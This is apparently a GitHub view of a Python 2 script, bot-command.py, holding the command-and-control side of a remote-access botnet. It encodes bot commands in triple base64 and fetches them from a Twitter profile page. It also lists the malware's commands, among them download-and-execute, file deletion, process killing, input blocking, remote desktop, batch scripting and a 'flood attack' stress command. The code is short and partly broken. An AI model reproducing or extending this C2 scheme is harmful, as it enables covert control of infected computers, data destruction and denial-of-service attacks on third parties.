-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathbot-command.py
More file actions
104 lines (93 loc) · 2.11 KB
/
bot-command.py
File metadata and controls
104 lines (93 loc) · 2.11 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import os, sys
import string
import base64
from urllib import urlopen
def de_base64(buf):
return base64.b64decode(buf)
def en_base64(buf):
return base64.b64encode(buf)
def get_between(s, str1, str2):
between_str = ""
i = s.find(str1)
if i!=-1:
i = i+len(str1)
j = s.find(str2)
between_str = s[i:j]
return between_str
def read_twitter():
url = "https://twitter.com/voraka163"
html = urlopen(url).read()
return html
def generate_cmd_old():
cmd_str = ""
cmd1 = "COMMAND"
cmd2 = "COMMAND_END"
cmd = "Crazymouse"
cut = "-CUT-"
param1 = "10"
# param2 = "info!"
cmd_str = cmd+cut+param1
# cmd_str = cmd
cmd_str_en = en_base64(en_base64(en_base64(cmd1)))+en_base64(en_base64(en_base64(cmd_str)))+en_base64(en_base64(en_base64(cmd2)))
print len(cmd_str_en)
print cmd_str_en
def generate_cmd():
cmd_str = ""
cmd1 = "cmd1"
cmd2 = "cmd2"
cmd = "Crazymouse"
cut = "--"
param1 = "10"
# param2 = "info!"
cmd_str = cmd+cut+param1
# cmd_str = cmd
cmd_str_en = en_base64(en_base64(en_base64(cmd1)))+en_base64(en_base64(en_base64(cmd_str)))+en_base64(en_base64(en_base64(cmd2)))
print len(cmd_str_en)
print cmd_str_en
def get_cmd():
html = read_twitter()
cmd = de_base64(de_base64(de_base64(get_between(html, en_base64(en_base64(en_base64(cmd1))), en_base64(en_base64(en_base64(cmd2)))))))
print cmd
commands = [
"FileAttribute",
"crasher", #WriteProcessMemory (hexcode: A1 FC FF FF FF 99 F7 3D FC FF FF FF A3 F8 FF FF FF A1 F8 FF FF FF)
"closeFileMgr",
"FileMgr", #GetDrivers info
"panic", #AutoStart
"CLOSETCP",
"Monitor_off",
"Monitor_on",
"Taskbar_off",
"Taskbar_on",
"Desktop_off",
"Desktop_on",
"Blockinput_on",
"Blockinput_off",
"Messagebox",
"Hidewindow",
"Shutdown",
"Logoff",
"Restart",
"critical_off",
"critical_on",
"Delete",
"Execute",
"crash",
"Swapmousebuttons_on", #swap mouse
"Swapmousebuttons_off",
"Download",
"Beeper_on",
"Beeper_off",
"Beeper_Bomb",
"Restart_client",
"Close_Client",
"Killprocess",
"Windowtitle", #set window title
"Crazymouse", #set random SetCursorPos
"Remotedesktop_on",
"Remotedesktop_off",
"BatchScripting",
"StressStart", # flood attack
"StressStop"
]
cmd = generate_cmd_old()